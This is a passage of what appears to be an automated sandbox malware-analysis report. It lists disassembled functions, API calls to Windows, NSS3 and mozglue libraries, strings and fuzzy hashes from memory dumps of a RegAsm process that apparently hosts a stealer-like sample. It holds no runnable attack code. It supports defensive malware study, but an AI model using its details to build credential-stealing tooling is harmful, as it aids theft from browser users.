_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDAB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CDAB4E4

Strings

pid:, xrefs: 6CDAB4DE

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 11dc1a524c5cdd17e873818a0e8489dbc75d2284ec21516893af9dac7e30a4b7
Instruction ID: a008d29fb201913c6279f58072107c43ffb874ee7c783533b683231194062d85
Opcode Fuzzy Hash: 11dc1a524c5cdd17e873818a0e8489dbc75d2284ec21516893af9dac7e30a4b7
Instruction Fuzzy Hash: 99311331A01208EFDB00DFE9D880AAEBBB5FF4431CF54052DD80167AA1D772A847CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE06C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CE06D36

Strings

database corruption, xrefs: 6CE06D2A
%s at line %d of [%.10s], xrefs: 6CE06D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE06D20

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 071bb946719298ec1be69d2b2dbf08942c8f41f127604957bca1f61ccba3c6d1
Instruction ID: f88d4060497a405a64746887811e3605771767ef9392220bedae73da2706a8e0
Opcode Fuzzy Hash: 071bb946719298ec1be69d2b2dbf08942c8f41f127604957bca1f61ccba3c6d1
Instruction Fuzzy Hash: 3021FE707003059BC7109F1AC841B5AB7FAAF81308F24892CDC499BB50E371E99AC7E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040E06F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040E089

Part of subcall function 0041C980: std::exception::exception.LIBCMT ref: 0041C995
Part of subcall function 0041C980: __CxxThrowException@8.LIBCMT ref: 0041C9AA
Part of subcall function 0041C980: std::exception::exception.LIBCMT ref: 0041C9BB

Part of subcall function 0040E00B: std::_Xinvalid_argument.LIBCPMT ref: 0040E01C

memcpy.MSVCRT ref: 0040E0E4

Strings

invalid string position, xrefs: 0040E084
@, xrefs: 0040E06F

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throwmemcpy
String ID: invalid string position$@
API String ID: 214693668-2123429324
Opcode ID: 6b5c3c33d3d2b880ed7e07a2658aac07ee6668f5d2306a9790dd679889131ccc
Instruction ID: 77f0ee206111c87e32d357fd4d8453cca33eac5374ca4fa148fd1aa1f91bc9a7
Opcode Fuzzy Hash: 6b5c3c33d3d2b880ed7e07a2658aac07ee6668f5d2306a9790dd679889131ccc
Instruction Fuzzy Hash: C911E631308234DBDB249E5AC840A26F3A9EB51714F100D3FF946AB2C1CAF5D861879D

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF3CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF3CC7B), ref: 6CF3CD7A
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CD8E
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CDA5
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF3CCB5
memcpy.VCRUNTIME140(6CFD14F4,6CFD02AC,00000090), ref: 6CF3CCD3
memcpy.VCRUNTIME140(6CFD1588,6CFD02AC,00000090), ref: 6CF3CD2B

Part of subcall function 6CE59AC0: socket.WSOCK32(?,00000017,6CE599BE), ref: 6CE59AE6
Part of subcall function 6CE59AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE599BE), ref: 6CE59AFC

Part of subcall function 6CE60590: closesocket.WSOCK32(6CE59A8F,?,?,6CE59A8F,00000000), ref: 6CE60597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF3CCB0

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: b1fc38cb9645d14cc7fdfe74edb756872c40e19809624f91bc3d6ce0db85f0eb
Instruction ID: 85ab427b989a6636dabeef197351f696560f3de5d717b3c2a5cf09c8fb59383b
Opcode Fuzzy Hash: b1fc38cb9645d14cc7fdfe74edb756872c40e19809624f91bc3d6ce0db85f0eb
Instruction Fuzzy Hash: 6B11B4F6F312505FDB809F7A9C067863AB89346328F145129E41A8BB41E776F4048BD5

Uniqueness

Uniqueness Score: -1.00%

Function 6CD9E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD9E577
AcquireSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9E584
ReleaseSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CD9E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CD9E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CD9E722, 6CD9E750, 6CD9E7A2
MOZ_PROFILER_STARTUP, xrefs: 6CD9E5A1, 6CD9E5CC, 6CD9E5FF, 6CD9E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CD9E826, 6CD9E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CD9E777

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 6b79d25be0a73a05dce6322233b9d417fef17bbf180b47f5e7943bbbce31cc68
Instruction ID: 19ed778ad348629ef088ebf4d61877157475cae75ee94c289237c2d2321ba834
Opcode Fuzzy Hash: 6b79d25be0a73a05dce6322233b9d417fef17bbf180b47f5e7943bbbce31cc68
Instruction Fuzzy Hash: 2411A135E04354DFEB009F54C848B69FBB8FB89329F05451DEA4547BA0D770B808CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040FC26 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00414026,?), ref: 0040FC59
CloseHandle.KERNEL32(00000000,?,?,?,00414026,?), ref: 0040FC64
CloseHandle.KERNEL32(00000000,?,?,?,00414026,?), ref: 0040FC6C

Strings

&@A, xrefs: 0040FC3E

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseHandle$FileSize
String ID: &@A
API String ID: 2872161284-841211203
Opcode ID: 5bf43325af43271093271687eb540e4bd8dbeaee5362fd8ecd3c575f58a3402f
Instruction ID: 6a1ebc2ac8618a9698ef746c989f0b3caa0f3be3949dc68d333fce79bfb08f60
Opcode Fuzzy Hash: 5bf43325af43271093271687eb540e4bd8dbeaee5362fd8ecd3c575f58a3402f
Instruction Fuzzy Hash: 14F08231A04218BBF7209760DC0AF9A3A6AFF05760F204174FE02B21D0D7706A058795

Uniqueness

Uniqueness Score: -1.00%

Function 0040F9C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,00000000,?,0040FDBE,00000000), ref: 0040F9CB
HeapAlloc.KERNEL32(00000000,?,0040FDBE,00000000), ref: 0040F9D2
wsprintfW.USER32 ref: 0040F9E3

Strings

%hs, xrefs: 0040F9DD

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 44c6b327d7674c20a9670378999c2c8bf1c975d13375ff2e8328e5be8a4210be
Instruction ID: 136a123a84818b009f370e03b1ba205f6a4dd4906e7e15018558020bc50cf65e
Opcode Fuzzy Hash: 44c6b327d7674c20a9670378999c2c8bf1c975d13375ff2e8328e5be8a4210be
Instruction Fuzzy Hash: 36D05E31740224BBC7102FE5BC0AA5A3E1DDB01AA2F001020FA0D86190DA61441087EA

Uniqueness

Uniqueness Score: -1.00%

Function 6CDA0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDA0CD5

Part of subcall function 6CD8F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD8F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDA0D40
free.MOZGLUE ref: 6CDA0DCB

Part of subcall function 6CD75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD75EDB
Part of subcall function 6CD75E90: memset.VCRUNTIME140(6CDB7765,000000E5,55CCCCCC), ref: 6CD75F27
Part of subcall function 6CD75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD75FB2

free.MOZGLUE ref: 6CDA0DDD
free.MOZGLUE ref: 6CDA0DF2

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: c4a3f71e2185b8229cc3bf26d9a2a218a35692c7ee8a3ac76a7165788adae72a
Instruction ID: 0cb3ed77ad8c7c3eaf928e793182052d66b5f0426489aec5fcf324899fb18bd5
Opcode Fuzzy Hash: c4a3f71e2185b8229cc3bf26d9a2a218a35692c7ee8a3ac76a7165788adae72a
Instruction Fuzzy Hash: 0B412771908780DBD720CF29C08079AFBE5BFC9654F118A2EE9D987B60D770A445CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CDACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CD9DA31,00100000,?,?,00000000,?), ref: 6CDACDA4

Part of subcall function 6CD6CA10: malloc.MOZGLUE(?), ref: 6CD6CA26

Part of subcall function 6CDAD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CDACDBA,00100000,?,00000000,?,6CD9DA31,00100000,?,?,00000000,?), ref: 6CDAD158
Part of subcall function 6CDAD130: InitializeConditionVariable.KERNEL32(00000098,?,6CDACDBA,00100000,?,00000000,?,6CD9DA31,00100000,?,?,00000000,?), ref: 6CDAD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CD9DA31,00100000,?,?,00000000,?), ref: 6CDACDC4

Part of subcall function 6CDA7480: ReleaseSRWLockExclusive.KERNEL32(?,6CDB15FC,?,?,?,?,6CDB15FC,?), ref: 6CDA74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CD9DA31,00100000,?,?,00000000,?), ref: 6CDACECC

Part of subcall function 6CD6CA10: mozalloc_abort.MOZGLUE(?), ref: 6CD6CAA2

Part of subcall function 6CD9CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CDACEEA,?,?,?,?,00000000,?,6CD9DA31,00100000,?,?,00000000), ref: 6CD9CB57
Part of subcall function 6CD9CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CD9CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CDACEEA,?,?), ref: 6CD9CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CD9DA31,00100000,?,?,00000000,?), ref: 6CDAD058

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: dbc308cca3db455d880a5e052e80d62cf57db99d069229b0de8c36857b6e2190
Instruction ID: 9324b27247e94b9b7e1d169723c37441df22fd97fd4f2e18cb72a19f4b918cfb
Opcode Fuzzy Hash: dbc308cca3db455d880a5e052e80d62cf57db99d069229b0de8c36857b6e2190
Instruction Fuzzy Hash: EED16F71A04B46DFD708CF28C480799F7E1BF89308F01866DD9598B761EB31E9A6CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD75C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CD75D40
EnterCriticalSection.KERNEL32(6CDDF688), ref: 6CD75D67
__aulldiv.LIBCMT ref: 6CD75DB4
LeaveCriticalSection.KERNEL32(6CDDF688), ref: 6CD75DED

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 7792f31addcd171b99a24bd40d154885db5d88f3af833368dcd23414cc7f292e
Instruction ID: d440f5b49be4fce2bbcc29ebb09d99341ccd041d7996d7e9d60f97bcb3c29260
Opcode Fuzzy Hash: 7792f31addcd171b99a24bd40d154885db5d88f3af833368dcd23414cc7f292e
Instruction Fuzzy Hash: 9651A071E00119CFEF18CF68C944AAEBBB5FB89304F19861DD951A7BA0E7307945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD5CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CD5CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CD5CF4E

Strings

0, xrefs: 6CD5CF30

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 8a5a4c12bf77c41b42faac28857d2b82a142908e6f3e21160a13743076c530ec
Instruction ID: 824611dbc9f06ad1bf46726989c87fd0b88f12666438e3f3da47ad59c3409df6
Opcode Fuzzy Hash: 8a5a4c12bf77c41b42faac28857d2b82a142908e6f3e21160a13743076c530ec
Instruction Fuzzy Hash: 0D51F075A00216CFCB00CF18C890AAABBA5EF99300F19859DD8595F7A2D731ED16CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE76C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE76C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE76CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE76CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF98FE0), ref: 6CE76CFE

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ad38694bca100dbe55230a4c05729146ccd6d4759b1c70d2b0ada034bece4dba
Instruction ID: d7c075e9d6e3bd854516e46c7fa3976d391805f7fa3377483077ad8563af2050
Opcode Fuzzy Hash: ad38694bca100dbe55230a4c05729146ccd6d4759b1c70d2b0ada034bece4dba
Instruction Fuzzy Hash: B031A1B1A002169FEB18DFA5C881ABFBBF9EF4524CF20442DD905D7710EB319906CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD96470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CD982BC,?,?), ref: 6CD9649B

Part of subcall function 6CD6CA10: malloc.MOZGLUE(?), ref: 6CD6CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD964A9

Part of subcall function 6CD8FA80: GetCurrentThreadId.KERNEL32 ref: 6CD8FA8D
Part of subcall function 6CD8FA80: AcquireSRWLockExclusive.KERNEL32(6CDDF448), ref: 6CD8FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD9653F
free.MOZGLUE(?), ref: 6CD9655A

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 10ba611a54b585e26516ddc898d732d245033bf28d5fc18385c98b542b015885
Instruction ID: 6249aaed8edb6b04b63f6c19da0179e81dd6992451c83cd89a0cf56f061962e3
Opcode Fuzzy Hash: 10ba611a54b585e26516ddc898d732d245033bf28d5fc18385c98b542b015885
Instruction Fuzzy Hash: BC3172B5A04305AFD740CF15D88469EB7E4FF89314F00882DE95A97751DB30E919CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 004103CB Relevance: 6.1, APIs: 4, Instructions: 92stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004103D0
strtok_s.MSVCRT ref: 004103F7
StrCmpCA.SHLWAPI(00000000,00424378,?,?,?,?,0041533E), ref: 00410428
strtok_s.MSVCRT ref: 00410489

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$H_prolog
String ID:
API String ID: 1158113254-0
Opcode ID: 3dd1883872c03a1829a3de0ff4232eb61c6f93fa091f6b7188abeb9407860e23
Instruction ID: 128362e5646b11dd53a864b4babff1c2257ad787bf94806019150de016bc5c8c
Opcode Fuzzy Hash: 3dd1883872c03a1829a3de0ff4232eb61c6f93fa091f6b7188abeb9407860e23
Instruction Fuzzy Hash: 12212771200606ABCB28CF65D9C1AFB73A8EF24304B10853FE116D7991DBB8E9C18658

Uniqueness

Uniqueness Score: -1.00%

Function 6CEE6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE6E57

